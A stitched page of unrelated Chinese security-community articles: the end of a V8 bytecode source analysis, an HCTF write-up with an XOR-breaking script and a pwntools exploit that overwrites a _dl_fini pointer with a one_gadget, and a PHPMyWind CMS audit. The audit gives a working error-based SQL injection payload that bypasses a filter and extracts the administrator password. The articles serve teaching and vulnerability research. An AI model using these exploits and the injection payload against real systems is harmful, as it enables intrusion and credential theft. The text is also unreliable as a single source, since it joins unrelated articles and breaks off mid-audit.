TestEqualStrict; 下面讲解字节码 TestEqual 和 TestEqualStrict，源码如下：
IGNITION_HANDLER(TestEqual, InterpreterCompareOpAssembler) {
CompareOpWithFeedback(Operation::kEqual);
}
//分隔线............
IGNITION_HANDLER(TestEqualStrict, InterpreterCompareOpAssembler) {
CompareOpWithFeedback(Operation::kStrictEqual);
}
上述两条字节码中都使用了 CompareOpWithFeedback()，区别是参数不同，CompareOpWithFeedback 源码如下：
1. void CompareOpWithFeedback(Operation compare_op) {
2. TNode<Object> lhs = LoadRegisterAtOperandIndex(0);
3. TNode<Object> rhs = GetAccumulator();
4. TNode<Context> context = GetContext();
5. //省略.......................
6. TVARIABLE(Smi, var_type_feedback);
7. TNode<Oddball> result;
8. switch (compare_op) {
9. case Operation::kEqual:
10. result = Equal(lhs, rhs, context, &var_type_feedback);
11. break;
12. case Operation::kStrictEqual:
13. result = StrictEqual(lhs, rhs, &var_type_feedback);
14. break;
15. case Operation::kLessThan:
16. case Operation::kGreaterThan:
17. case Operation::kLessThanOrEqual:
18. case Operation::kGreaterThanOrEqual:
19. result = RelationalComparison(compare_op, lhs, rhs, context,
20. &var_type_feedback);
21. break;
22. default:
23. UNREACHABLE();
24. }
25. //省略.......................
26. SetAccumulator(result);
27. Dispatch();
28. }
上述代码中，第 2 行取出左操作数 lhs； 第 3 行取出右操作数 rhs。rhs 存储在累加器中，所以字节码 TestEqual 的操作数只有
r1，也就是 lhs。[4] 不属于 TestEqual 的操作数，它用于信息收集。TestEqualStrict 的情况也一样。
第 8 行代码根据 compare_op 选择 Equal 或是 StrictEqual。
第 15~19 行代码是小于、大于等操作的实现，本文不做讲解。
# Equal 源码分析
图 1 给出了 Equal 的源码和函数调用堆栈，需要使用 mksnapshot 进行跟踪。
下面讲解 Equal 源码。
1. TNode<Oddball> CodeStubAssembler::Equal(/*省略*/) {
2. //省略................
3. TVARIABLE(Object, var_left, left);
4. TVARIABLE(Object, var_right, right);
5. //省略...............
6. BIND(&loop);
7. {
8. left = var_left.value();
9. right = var_right.value();
10. Label if_notsame(this);
11. GotoIf(TaggedNotEqual(left, right), &if_notsame);
12. {GenerateEqual_Same(left, &if_equal, &if_notequal, var_type_feedback);}
13. BIND(&if_notsame);
14. Label if_left_smi(this), if_left_not_smi(this);
15. Branch(TaggedIsSmi(left), &if_left_smi, &if_left_not_smi);
16. BIND(&if_left_smi);
17. {
18. Label if_right_smi(this), if_right_not_smi(this);
19. CombineFeedback(var_type_feedback,
20. CompareOperationFeedback::kSignedSmall);
21. Branch(TaggedIsSmi(right), &if_right_smi, &if_right_not_smi);
22. BIND(&if_right_smi);
23. { Goto(&if_notequal); }
24. BIND(&if_right_not_smi);
25. { TNode<Map> right_map = LoadMap(CAST(right));
26. Label if_right_heapnumber(this), if_right_oddball(this),
27. if_right_bigint(this, Label::kDeferred),
28. if_right_receiver(this, Label::kDeferred);
29. GotoIf(IsHeapNumberMap(right_map), &if_right_heapnumber);
30. TNode<Uint16T> right_type = LoadMapInstanceType(right_map);
31. GotoIf(IsStringInstanceType(right_type), &do_right_stringtonumber);
32. GotoIf(IsOddballInstanceType(right_type), &if_right_oddball);
33. GotoIf(IsBigIntInstanceType(right_type), &if_right_bigint);
34. GotoIf(IsJSReceiverInstanceType(right_type), &if_right_receiver);
35. CombineFeedback(var_type_feedback, CompareOperationFeedback::kAny);
36. Goto(&if_notequal); } }
37. BIND(&if_left_not_smi);
38. { GotoIf(TaggedIsSmi(right), &use_symmetry);
39. Label if_left_symbol(this), if_left_number(this),
40. if_left_string(this, Label::kDeferred),
41. if_left_bigint(this, Label::kDeferred), if_left_oddball(this),
42. if_left_receiver(this);
43. TNode<Map> left_map = LoadMap(CAST(left));
44. TNode<Map> right_map = LoadMap(CAST(right));
45. TNode<Uint16T> left_type = LoadMapInstanceType(left_map);
46. TNode<Uint16T> right_type = LoadMapInstanceType(right_map);
47. GotoIf(IsStringInstanceType(left_type), &if_left_string);
48. GotoIf(IsSymbolInstanceType(left_type), &if_left_symbol);
49. GotoIf(IsHeapNumberInstanceType(left_type), &if_left_number);
50. GotoIf(IsOddballInstanceType(left_type), &if_left_oddball);
51. Branch(IsBigIntInstanceType(left_type), &if_left_bigint,
52. &if_left_receiver);
53. BIND(&if_left_string);
54. { GotoIfNot(IsStringInstanceType(right_type), &use_symmetry);
55. result =
56. CAST(CallBuiltin(Builtin::kStringEqual, context(), left, right));
57. CombineFeedback(var_type_feedback,
58. SmiOr(CollectFeedbackForString(left_type),
59. CollectFeedbackForString(right_type)));
60. Goto(&end); }
61. BIND(&if_left_number);
62. { Label if_right_not_number(this);
63. CombineFeedback(var_type_feedback, CompareOperationFeedback::kNumber);
64. GotoIf(Word32NotEqual(left_type, right_type), &if_right_not_number);
65. var_left_float = LoadHeapNumberValue(CAST(left));
66. var_right_float = LoadHeapNumberValue(CAST(right));
67. Goto(&do_float_comparison);
68. BIND(&if_right_not_number);
69. { Label if_right_oddball(this);
70. GotoIf(IsStringInstanceType(right_type), &do_right_stringtonumber);
71. //省略...............
72. Goto(&if_notequal);
73. BIND(&if_right_oddball);
74. { Label if_right_boolean(this);
75. GotoIf(IsBooleanMap(right_map), &if_right_boolean);
76. CombineFeedback(var_type_feedback,
77. CompareOperationFeedback::kOddball);
78. Goto(&if_notequal);
79. BIND(&if_right_boolean);
80. {CombineFeedback(var_type_feedback,
81. CompareOperationFeedback::kBoolean);
82. var_right =
83. LoadObjectField(CAST(right), Oddball::kToNumberOffset);
84. Goto(&loop);
85. } } } }
86. BIND(&if_left_bigint);
87. {
88. Label if_right_heapnumber(this), if_right_bigint(this),
89. if_right_string(this), if_right_boolean(this);
90. CombineFeedback(var_type_feedback, CompareOperationFeedback::kBigInt);
91. GotoIf(IsStringInstanceType(right_type), &if_right_string);
92. //省略...............
93. BIND(&if_right_heapnumber);
94. { CombineFeedback(var_type_feedback, CompareOperationFeedback::kNumber);
95. result = CAST(CallRuntime(Runtime::kBigIntEqualToNumber,
96. NoContextConstant(), left, right));
97. Goto(&end); }
98. BIND(&if_right_bigint);
99. {
100. result = CAST(CallRuntime(Runtime::kBigIntEqualToBigInt,
101. NoContextConstant(), left, right));
102. Goto(&end); }
103. BIND(&if_right_string);
104. {
105. CombineFeedback(var_type_feedback, CompareOperationFeedback::kString);
106. result = CAST(CallRuntime(Runtime::kBigIntEqualToString,
107. NoContextConstant(), left, right));
108. Goto(&end); }
109. BIND(&if_right_boolean);
110. { CombineFeedback(var_type_feedback,
111. CompareOperationFeedback::kBoolean);
112. var_right = LoadObjectField(CAST(right), Oddball::kToNumberOffset);
113. Goto(&loop); } }
114. BIND(&if_left_oddball);
115. { Label if_left_boolean(this), if_left_not_boolean(this);
116. GotoIf(IsBooleanMap(left_map), &if_left_boolean);
117. if (var_type_feedback != nullptr) {
118. CombineFeedback(var_type_feedback,
119. CompareOperationFeedback::kNullOrUndefined);
120. GotoIf(IsUndetectableMap(left_map), &if_left_not_boolean);
121. }
122. Goto(&if_left_not_boolean);
123. BIND(&if_left_not_boolean);
124. {
125. Label if_right_undetectable(this), if_right_number(this),
126. if_right_oddball(this),
127. if_right_not_number_or_oddball_or_undetectable(this);
128. //省略...............
129. } }
130. BIND(&if_left_receiver);
131. {
132. CSA_DCHECK(this, IsJSReceiverInstanceType(left_type));
133. Label if_right_receiver(this), if_right_not_receiver(this);
134. Branch(IsJSReceiverInstanceType(right_type), &if_right_receiver,
135. &if_right_not_receiver);
136. BIND(&if_right_receiver);
137. {
138. CombineFeedback(var_type_feedback,
139. CompareOperationFeedback::kReceiver);
140. Goto(&if_notequal); }
141. BIND(&if_right_not_receiver);
142. {
143. Label if_right_undetectable(this),
144. if_right_not_undetectable(this, Label::kDeferred);
145. Branch(IsUndetectableMap(right_map), &if_right_undetectable,
146. &if_right_not_undetectable);
147. BIND(&if_right_undetectable);
148. {
149. CSA_DCHECK(this, IsNullOrUndefined(right));
150. if (var_type_feedback != nullptr) {
151. *var_type_feedback = SmiConstant(
152. CompareOperationFeedback::kReceiverOrNullOrUndefined); }
153. Branch(IsUndetectableMap(left_map), &if_equal, &if_notequal); }
154. BIND(&if_right_not_undetectable);
155. {
156. CombineFeedback(var_type_feedback, CompareOperationFeedback::kAny);
157. Callable callable = CodeFactory::NonPrimitiveToPrimitive(isolate());
158. var_left = CallStub(callable, context(), left);
159. Goto(&loop); } }}
160. }
161. BIND(&do_right_stringtonumber);
162. {
163. if (var_type_feedback != nullptr) {
164. TNode<Map> right_map = LoadMap(CAST(right));
165. TNode<Uint16T> right_type = LoadMapInstanceType(right_map);
166. CombineFeedback(var_type_feedback,
167. CollectFeedbackForString(right_type)); }
168. var_right = CallBuiltin(Builtin::kStringToNumber, context(), right);
169. Goto(&loop); }
170. BIND(&use_symmetry);
171. {
172. var_left = right;
173. var_right = left;
174. Goto(&loop); }
175. }
176. BIND(&if_equal);
177. {
178. result = TrueConstant();
179. Goto(&end); }
180. BIND(&end);
181. return result.value();}
我们根据测试用例代码的执行顺序来讲解上述代码。 第 3 行创建左操作数变量 var_left，并把参数 left 的值赋给 var_left；
第 4 行创建右操作数变量 var_right，并把参数 right的值赋给 var_right；
第 6 行进入循环；
第 8、9 行获取左、右操作数并赋给 left 和 right。根据我们的测试用例，left 为 "123"，rigth 为 123。
第 11 行代码判断 left 和 right 的Tag 是否一致，left 和rigth 分别是 HeapObject 类型和 SMI 类型，所以 Tag
不一致；跳转到 if_notsame 标签；
第 14-15 行判断左操作数 left 是否为 SMI，left 是 HeapObject，再次跳转到 if_left_not_smi 标签；
第 38 行判断 right 是否为 SMI，结果为真，跳转到 use_symmetry；
第 170-174 行调换左、右操作数，重新到第 6 行进入循环；
再次执行第 11 行代码，依旧跳转到 if_notsame 标签；
第 15 行判断结果为真，跳转到 if_left_smi 标签；
第 21 行判断结果为假，跳转到 if_right_not_smi 标签；
第 30-35 行判断 right 的类型，目前右操作数为 "123"，字串符串类型，跳转到 do_right_stringtonumber 标签；
第 163-169 行调用 Builtin::kStringToNumber 把 right 转为 Number 类型，我们的测试用例转为了
SMI；再次进入循环；
第 11 行判断结果为真，进入第 12 行代码；
第 12 行检测到 left 为SMI，所以得出结果 left = right，跳转到 if_equal 标签；
第 176-180 行生成 V8 值对象 true 并返回结果。
**为什么没有做值的比较，第 16、18 行就得到了结果？**
答：left、right 均为 SMI，所以他们的值是直接存储的，如果二者的 Tag 相等，也就是值相等。
# StrictEqual 源码分析
与 Equal 不同，StrictEqual 要求左、右操作数的类型和值都相同时，返回值才为真。下面给出 StrictEqual 源码的算法伪代码：
1. //Pseudo-code for the algorithm below:
2. //伪代码选自 StrictEqual 源码
3. if (lhs == rhs) {
4. if (lhs->IsHeapNumber()) return HeapNumber::cast(lhs)->value() != NaN;
5. return true;
6. }
7. if (!lhs->IsSmi()) {
8. if (lhs->IsHeapNumber()) {
9. if (rhs->IsSmi()) {
10. return Smi::ToInt(rhs) == HeapNumber::cast(lhs)->value();
11. } else if (rhs->IsHeapNumber()) {
12. return HeapNumber::cast(rhs)->value() ==
13. HeapNumber::cast(lhs)->value();
14. } else {
15. return false;
16. }
17. } else {
18. if (rhs->IsSmi()) {
19. return false;
20. } else {
21. if (lhs->IsString()) {
22. if (rhs->IsString()) {
23. return %StringEqual(lhs, rhs);
24. } else {
25. return false;
26. }
27. } else if (lhs->IsBigInt()) {
28. if (rhs->IsBigInt()) {
29. return %BigIntEqualToBigInt(lhs, rhs);
30. } else {
31. return false;
32. }
33. } else {
34. return false;
35. }
36. }
37. }
38. } else {
39. if (rhs->IsSmi()) {
40. return false;
41. } else {
42. if (rhs->IsHeapNumber()) {
43. return Smi::ToInt(lhs) == HeapNumber::cast(rhs)->value();
44. } else {
45. return false;
46. }
47. }
48. }
上述代码中，第 3 行代码对左、右操作数进行判断、其中 "==" 为重载运行符；
第 4 行代码说明左、右操作数相同。如果均为 HeapNumber,再进一步判断 HeapNumber 的原始值是否为空，如果原始值存在则判断结果为真；
第 7-38 行代码处理左操作数不是 SMI 的情况，在此情况下：
第 8-9 行代码如果左操作数为 HeapNumber，右操作数为 SMI 时，则判断 SMI 与堆对象的原始值是否相同，相同结果为真；
第 11-13 行代码如果左、右均为 HeapNumber，则判断他们的原始值是否相同，相同结果为真；
第 18-19 行代码左操作数不是 SMI，如果右操作数是 SMI，则结果为假；
第 21-26 行代码如果左、右均为 String，使用 StringEqual() 方法判断；
第 27-34 行代码如果左、右均为 BigInt，使用 BigIntEqualToBigInt() 方法判断；
第 39-45 行代码如果右操作数是 SMI，结果为假；如果右操作数为 HeapNumber，则判断左操作数和右操作数的原始值。
# 技术总结
Equal 方法先将左、右操作数的类型统一，然后再进行值的判断。Equal 采用了如下的优化技巧：
**（1）** Equal 大部分情况下用于数字类型判断，所以 Equal 开始就判断 Tagged 和 SMI 类型，如果相同则直接返回结果；
**（2）** 为了简化 Equal的编码，将左、右操作调换以满足左操作数为 SMI 的情况；
**（3）** 如果左、右操作数均不是 SMI，通过循环的方式统一左、右操作数的类型。
好了，今天到这里，下次见。
**个人能力有限，有不足与纰漏，欢迎批评指正**
**微信：qq9123013 备注：v8交流
知乎：<https://www.zhihu.com/people/v8blink>**
* * * | 社区文章 |
# HCTF-xor_game&the_end详细WP
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
这次比赛只做出了这两个题，其中我觉的the_end的思路还是可以借鉴一下的。
## xor_game
### 文件分析
题目给出了两个文件一个是加密脚本，一个是加密后输出的文件。打开加密的脚本，就能看出和2017suctf的一个题目很像。
### 加密脚本
from Crypto.Util.strxor import strxor
import base64
import random
def enc(data, key):
key = (key * (len(data) / len(key) + 1))[:len(data)]
return strxor(data, key)
poem = open('poem.txt', 'r').read()
flag = "hctf{xxxxxxxxxxx}"
with open('cipher.txt', 'w') as f:
f.write(base64.b64encode(enc(poem, flag[5:-1])))
f.close()
### 加密的数据
ciMbOQxffx0GHQtSBB0QSQIORihXVQAUOUkHNgQLV
AQcAVMAAAMCASFEGQYcVS8BNh8BGAoHFlMAABwCTS
VQC2UdMQx5FkkGEQQAAVMAAQtHRCNLF0NSORscMkk
aHABSExIYBQseUmBCFgtSKwEWfwELFRcGbzwEDABH
VS8DDAcXfwUcMQwCDUUBCgYYSQEBATNKGwQeOkkbP
hsYERYGDB0TYzwCUSVCDE8dKh0BNg4GAAkLSVMWHB
pHQCxQF08AOhkWPh1OAA0XRQQRBQJKQyVKFghSMA9
5Gh8LGhEHBB8YEE4UViFaEQEVfwAdfx0GEUUWAAAR
GxpHTiFQERx4FkkROgUHERMXRTpUCANtYy9RFk8TL
EkHNwxOFhcbAhsASR0STC1GCk8UMwYEOhsdfiEdRR
0bHU4QSDRLHR0XO0kGMQ0LEgATERYQSQgORDJaWAs
XMgYdfxsbGAB4LRYVGxpHUyFXHU8TMQ1TPRsLFREa
DB0TSRoIASJGGR1SKwEWfwUBFQFSChVUHQYCASNWF
Q0XLRocMgxkNgoAABd+PRkIKwkDEAoTLQ1TKwELVA
gHFhoXRU4BUy9OWBsaOkkeMAYAVAQcAVMXCBwEQDN
Qci4HJwAfNggcDUUXHQcGDAMCASFGCxsaOh0aPAAd
GUUQBBoASRoIASNCCBsHLQxTMgAdABx4IxoYBQcJR
mBXEApSNgcHOgcdEUUeDBURRU4FVDQDGQMBMEkVNg
UCHQsVRQccDE4XVDJGcjsaOhsWfwgcEUUTCQQVEB1
HTCVOFx0bOhpTKwEcGxAVDRwBHU4TSSUDHQ4AKwF5
FkkMEQkbAAURSSdHQC0pPAYXO0kSLEkaHABSFAYdD
BpHQyVCDRsLfwYVfwgbABAfC1MYDA8RRDMpKwcXMQ
5TNhpOGgoGRRAcCAEUDWBQFQAZOkkUOhoaARcXbzY
CDABHVilPDE8TMxocfxsLAAQbCxYQSQwITyUDCB0d
Kg0fJkk/
HQsVRTURBwlHTDVQGwMXVSYQPBwCAG8mDQERDGQuA
ShGGR1SMwYFOkVOPUUQAB8dDBgCASlNWAMdKQx5Ew
YYEUUbFlMVSR4ITiwDFwlSLB0BKg4JGAwcAlMWBRs
CDCdRHQocfwgfOAgLfiQBRRcRGgELQDRGWAIbPBsc
cgsbBhYGRRwSSRkOTyQpOgMXOg0aMQ5OAA0ACgYTA
U4KWGBVHQYcLGMqOggcB0UBERIAAAEJRCQDEQFSKw
EWfwsLGAwXA3kyBhsVKwkDGgoeNgwFOkkaHAQGRRI
YBU4EQC4DEAoTLWM2KQwAVAQcERoXAB4GVSUDHAYB
PBsWKwxCVCxSCBYASRoPRGBMDAcXLUkHNwwHBkUdE
h1+OgEKRGBAGQFSMQYHfw4cFRYCRQccDE4KTi1GFh
t4EwwVK0kaG0UGDRZULA8UVWBXF08VMEkkOhoaWEU
GDRZUDQsGRWBODRwGfwccK0kcEREHFx1UHQFHTy9U
EAoAOmMgOgxCVCxSEhYVG049QC4DPgMdKAwBLEkBG
kUfHFMcDA8DDWBKFk8UKgUffwsCGwofRRIYBgAAAT
RLHU8FPhBTPgUCVBEaAFMDCBdtZzJGCRoXMR0fJkk
DHRYBABdUGgEKRGwDGhoGfwgfLAZOEAAXFR8NSQMI
VyVHWA0Lfx4aMQ1CVAMACgAARU4UTy9UWAAAfxsSN
gdkMgwEAHkkGw8NTyEDKA4APgQaKwhCVBYdCh1UCB
1HUi9MFk8TLGMfNg8LVAcXRRERCBsTSCZWFE8eNgI
WfxobGQgXF1MSBQEQRDJQWA4cO0kXOggaHEUeDBgR
SQ8SVTVOFk8eOggFOhpkNQkBClMXCBwCASFBFxoGf
x4bPh1OHAQB
### 思路分析
由于key的长度肯定是远远小于给的poem的长度，这样的话进行异或的过程中肯定是会有可以利用统计规律进行计算得出的值（第一次做这样的密码题，让我想起了模仿游戏当中破解德军密码机的时候也是用了这个方法）
### 方法讲述
一、可以利用一个叫做xortools的工具进行一个字频率的一个统计，这样会方便一些在不知道脚本的情况下
二、上面这一步可能中间会有些错误会需要手动修改，于是。。因为suctf见过，就借用了一个师傅的脚本进行了一个快速的解题
😂
### exp
# coding:utf8
# by https://findneo.github.io/
def getCipher(file='cipher.txt'):
'''从文件中读取十六进制串，返回十六进制数组
'''
c=''.join(map(lambda x:x.strip(),open('cipher.txt').readlines())).decode('base_64')
cc= [ord(i) for i in c]
# print cc,len(cc)
return cc
# c = open(file).read()
# codeintlist = []
# codeintlist.extend(
# (map(lambda i: int(c[i:i + 2], 16), range(0, len(c), 2))))
# return codeintlist
def getKeyPool(cipher, stepSet, plainSet, keySet):
''' 传入的密文串、明文字符集、密钥字符集、密钥长度范围均作为数字列表处理.形如[0x11,0x22,0x33]
返回一个字典，以可能的密钥长度为键，以对应的每一字节的密钥字符集构成的列表为值，密钥字符集为数字列表。
形如{
1:[[0x11]],
3:[
[0x11,0x33,0x46],
[0x22,0x58],
[0x33]
]
}
'''
keyPool = dict()
for step in stepSet:
maybe = [None] * step
for pos in xrange(step):
maybe[pos] = []
for k in keySet:
flag = 1
for c in cipher[pos::step]:
if c ^ k not in plainSet:
flag = 0
if flag:
maybe[pos].append(k)
for posPool in maybe:
if len(posPool) == 0:
maybe = []
break
if len(maybe) != 0:
keyPool[step] = maybe
return keyPool
def calCorrelation(cpool):
'''传入字典，形如{'e':2,'p':3}
返回可能性，0~1,值越大可能性越大
(correlation between the decrypted column letter frequencies and
the relative letter frequencies for normal English text)
'''
frequencies = {"e": 0.12702, "t": 0.09056, "a": 0.08167, "o": 0.07507, "i": 0.06966,
"n": 0.06749, "s": 0.06327, "h": 0.06094, "r": 0.05987, "d": 0.04253,
"l": 0.04025, "c": 0.02782, "u": 0.02758, "m": 0.02406, "w": 0.02360,
"f": 0.02228, "g": 0.02015, "y": 0.01974, "p": 0.01929, "b": 0.01492,
"v": 0.00978, "k": 0.00772, "j": 0.00153, "x": 0.00150, "q": 0.00095,
"z": 0.00074}
relative = 0.0
total = 0
fpool = 'etaoinshrdlcumwfgypbvkjxqz'
total = sum(cpool.values()) # 总和应包括字母和其他可见字符
for i in cpool.keys():
if i in fpool:
relative += frequencies[i] * cpool[i] / total
return relative
def analyseFrequency(cfreq):
key = []
for posFreq in cfreq:
mostRelative = 0
for keyChr in posFreq.keys():
r = calCorrelation(posFreq[keyChr])
if r > mostRelative:
mostRelative = r
keychar = keyChr
key.append(keychar)
return key
def getFrequency(cipher, keyPoolList):
''' 传入的密文作为数字列表处理
传入密钥的字符集应为列表，依次包含各字节字符集。
形如[[0x11,0x12],[0x22]]
返回字频列表，依次为各字节字符集中每一字符作为密钥组成部分时对应的明文字频
形如[{
0x11:{'a':2,'b':3},
0x12:{'e':6}
},
{
0x22:{'g':1}
}]
'''
freqList = []
keyLen = len(keyPoolList)
for i in xrange(keyLen):
posFreq = dict()
for k in keyPoolList[i]:
posFreq[k] = dict()
for c in cipher[i::keyLen]:
p = chr(k ^ c)
posFreq[k][p] = posFreq[k][p] + 1 if p in posFreq[k] else 1
freqList.append(posFreq)
return freqList
def vigenereDecrypt(cipher, key):
plain = ''
cur = 0
ll = len(key)
for c in cipher:
plain += chr(c ^ key[cur])
cur = (cur + 1) % ll
return plain
def main():
ps = []
ks = []
ss = []
ps.extend(xrange(0xff))
ks.extend(xrange(0x20,0x80))
ss.extend(xrange(1, 50))
cipher = getCipher()
keyPool = getKeyPool(cipher=cipher, stepSet=ss, plainSet=ps, keySet=ks)
for i in keyPool:
freq = getFrequency(cipher, keyPool[i])
key = analyseFrequency(freq)
print ''.join(map(chr,key))
if __name__ == '__main__':
main()
给出脚本的链接：<https://findneo.github.io/180527suctf/#Cycle>
### 实现后的图片
这个图没有截取完整。。要是细心的老师傅应该可以猜的出哪一个是flag->xor_is_interesting!@#加上hctf的头和尾就是flag了。
## the_end
题目叫做the_end,感觉是有那么一点关系，这里大概能对exit有个比较全面的了解。
### 保护查看
保护出来canary都开了，这里安利一波pwndbg，可以对开了pie的程序下一个基地址的断点：
b *$rebase(偏移)
### 程序分析
main
程序的逻辑很简单，首先会给我们一个gift就是sleep的地址这样就可以帮助我们基地址了。然后进入主要的部分一个循环，第一次会对程序进行一个8位的读，第二个读会对我们刚才读进去的8位字节所处的地方进行一个一个字节的写，这个就可以造成任意地址写的一个漏洞了。
### 动态调试
我个人觉得这个题目的关键就在于动态调试程序，因为题目中没有可以给我们过多利用的函数了，只剩下了一个exit()函数，其实开始我并没有什么思路，于是就开始进行了Google，发现了一个类似的题0x00ctf2017-left的题，题目要比这个难，思路上也不太一样，但是有借鉴作用，感兴趣的读者可以看看那个。
### 第一个点
先随意构造输入，然后进入exit函数利用si指令进入每一个函数可以发现一个可能可利用的异常点：
图片中有一个call rdx,而rdx来自于rax+0x18
这里有一个不像是栈上地址的数，感觉是和后面的ror,xor等有一些关系像是一个解密的操作。这里就可以参考我们上面的所提到的那个题目的思路了。但是这个思路太难利用了所以我想试试能不能有其他的方法，继续调试了下去。
### 第二点
继续往下siyou 可以发现一个call,处在_dl_fini
这个地方调用了rdi+0x216414这个指针，我们查看一下：
这里有一个好像是低三位的一个指针，那大概就是会call这个指针了。。我们可以试试能不能去覆盖这里的指针。当然要先得到偏移，关于这个地址的偏移我是一个
一个试出来的，因为没有几位，应该这个地址段上有些还是不可写的地方。
### 思路分析
两个思路都是在地址上写上我们的one_gadget，写入的地点和方法不同而已。
### 第一个思路
一、就是利用0x00ctf那个思路，利用我们第一次所看见的call rdx进行一个利用
二、先找到initial的值和我们的dl_fini函数进行一个异或得到一个pointer_guard的值
三、将我们的输入进行一次ror和与pointer_guard进行一次异或然后写到initial+0x18的这个段。理论上是可以成功的，但是尼由于太麻烦的原因我并没有去试过，也没有写exp，用的是另一种方法。
### 第二个思路
一、利用dl_fini这里的一个call进行控制程序流
二、写函数_rtld _global+3842这个位置的低字节
三、这个可能有点毒毒就是在cat flag的时候要进行一个cat flag > &0重定向文件流的操作才能看见flag，应该是把stdout关掉了的原因
### exp
from pwn import *
context.log_level='debug'
e=ELF('./libc64.so')
#p = process('the_end',env={'LD_PRELOAD':'./libc64.so'})
p=remote('150.109.44.250',20002)
raw_input()
def get(x):
return p.recvuntil(x)
def pu(x):
p.send(x)
get("Input your token:")
p.sendline("qkONSLHkSskPZtfWY6VbMOgV0QKhMoEb")
get('here is a gift ')
base=int(get(',')[:-1],16)- e.symbols['sleep']
pass_call=base+0x5f0f48
one_gadget=(base+0xf02a4)#^(0x1d933f4e14e0cdf4^0x7ffff7de7ab0)
for i in range(5):
pu(p64(pass_call+i))
pu(p64(one_gadget)[i])
print hex(one_gadget)
print(hex(base))
p.recvuntil("good luck ;)")
p.sendline("cat flag >&0")
p.interactive()
## 总结
hctf题目的质量真的高，做了几个题就做不下去了，但是学到了很多新的姿势还是很满足的。。。 | 社区文章 |
# 老牌CMS——PHPMyWind代码审计
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0×00 前言
大家好，我是掌控安全学院的聂风，在此，我做一个代码审计的文章分享来方便同学们学习。这次我们选中的是一个PHPMyWind这个CMS进行审计，PHPMyWind是一个老牌CMS，PHPMyWind
从2010年开发至今，按官网宣传有15万次下载量，他的安全性也在不断的提高。这里记录下审计过程和一些小思路和总结下我审计时发现的问题。
## 0×01 环境搭建
Phpstudy
PHPMyWind 5.6（<http://phpmywind.com/downloads/PHPMyWind_5.6.zip>）
代码审计工具（Seay源代码审计系统）
## 0×02 代码审计过程
我们拥有了一个CMS的源码，其实我们可以先不用着急先去看看这个CMS以前报过的漏洞，这个CMS比较老牌，稍微一查，就在乌云知识库发现了很多信息。
然后我们先看看这里漏洞为什么产生，究竟为什么，然后往那个方面思考。然后我们再去将源码就先放入根目录访问开始安装吧!安装好之后我们查看index.php文件，开头第一行就是文件包含，包含/include/config.inc.php这个文件，这个文件包含了好几个文件
我们着重来看看common.inc.php，这个文件就是帮助我们上面触发漏洞的文件，后面两个什么*.classs.php应该是定义类和函数的，可以先不看。
common.inc.php第一开始先定义一些常量，然后定义一个函数_RunMagicQuotes，这个函数实际上就是魔术引号的作用。
再看下面45-58行，这看着感觉很像$$的变量覆盖漏洞，实际上这里时一个方便开发的机制，可以让我们的传参全部都变成变量使用，例如我传参a=123。
那么经过这个处理就变为了$a = 123
这里记住，我们可以定义变量了,我通过全局搜索查询了下，调用这个文件都是文件的开头为主，然后这个文件中被调用的参数大部分都会先初始化参数，然后处理再进行调用。
然后代码又包含了三个文件
三个文件做什么的看开发贴心的注释就知道了，要是变量覆盖这个在包含common.func.php下面就可以飞起了。这三个文件可以先不看，一个是常用函数，一个是各种配置变量定义，还有一个就是连接数据库的文件。之后就是设置了一些路径之类的变量
然后我们还是回来看index.php，整页就没什么有用的地方了。各种输出都是读取了数据库里面的数据然后输出。然后还包含了两个文件，header.php|footer.php。然后读取这几个PHP然后再去按照功能和模块去读取每个文件就行了。
那么根据我们的信息收集，我们知道了这款CMS，他以前爆过的SQL注入就是因为没用初始化变量SQL，然后直接想办法跳过这个变量SQL的赋值，然后造成直接传参SQL语句直接执行造成SQL注入，详情可以见乌云知识库找，这里就不方便贴链接了
那么我们根据这个思想去找漏洞就很简单，找没有初始化过的传参
## 开胃菜：
### SQL注入一：
打开admin目录下面的info_update.php文件
我们发现第55行有一个变量id，这个地方如果我们能够控制变量id，那么我们可能就可以对这个CMS进行SQL注入，并且这个变量id都没有被单双引号包裹，那么如果存在注入，我们都不需要去考虑魔术引号带来的烦恼。
然后这个文件的第57-59行，就是没有初始化这个$id，而且$id的执行语句在初始化之前，算是被我捡到一只漏网之鱼了。
但是我这个info_update.php并没有初始化参数，那么我们就可以控制$id的值，那么我们就可以进行SQL注入了。我们再来追踪一下GetOne函数究竟干了什么？
看到include目录下面的mysqli.class.php文件的第262-294行
SetQuery函数是替换表名的前缀，然后Execute才是真的执行语句函数，然后们追踪这个函数，他的定义在mysql.class.php这个文件的第165-191行
很明显这的第191行是执行，但是这里很明显要过一个CheckSql的检测。
这个函数在这个文件的522行被定义。
这个很明显是80sec的过滤。那么我们可以直接使用语句绕过，毕竟这个过滤也很老了，虽然这里有改动，因为过滤问题这里的SQLmap无法跑出Sql注入，百度下找到一个绕过的80sec语句妥妥的就绕过了。
注入的数据包
GET /admin/info_update.php?id=1 HTTP/1.1
Host: 192.168.32.136
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=7s67quel3o522u240qquhlpo32
Connection: close
然后构建的语句是：
AND id in (char(@`'`), extractvalue(1, concat_ws(0x20, 0x5c,(select password from pmw_admin limit 0,1))),char(@`'`))
直接拼接在id传参的后面可以直接通过报错注入显示超管的密码。如果要账号就改子查询里面的语句
然后通过这个方法，我发现了这个CMS在书写的时候很多地方他差不多功能模块的核心代码就不会变。然后我这里指出的这个SQL注入这代码属于核心代码。只要后台文件名为
***_update.php都存在这个问题。涉及的文件特别多。好多文件都中招
### SQL注入二：
后面发现的这个SQL注入也是和这个差不多，也属于可以好多文件中招
我们先进行代码分析吧，打开admin目录下面的soft_save.php文件
我们发现第22行有一个函数，我们来看看这个函数干了什么~
这个函数的定义在admin_func.php这个文件的第1315-1417行。
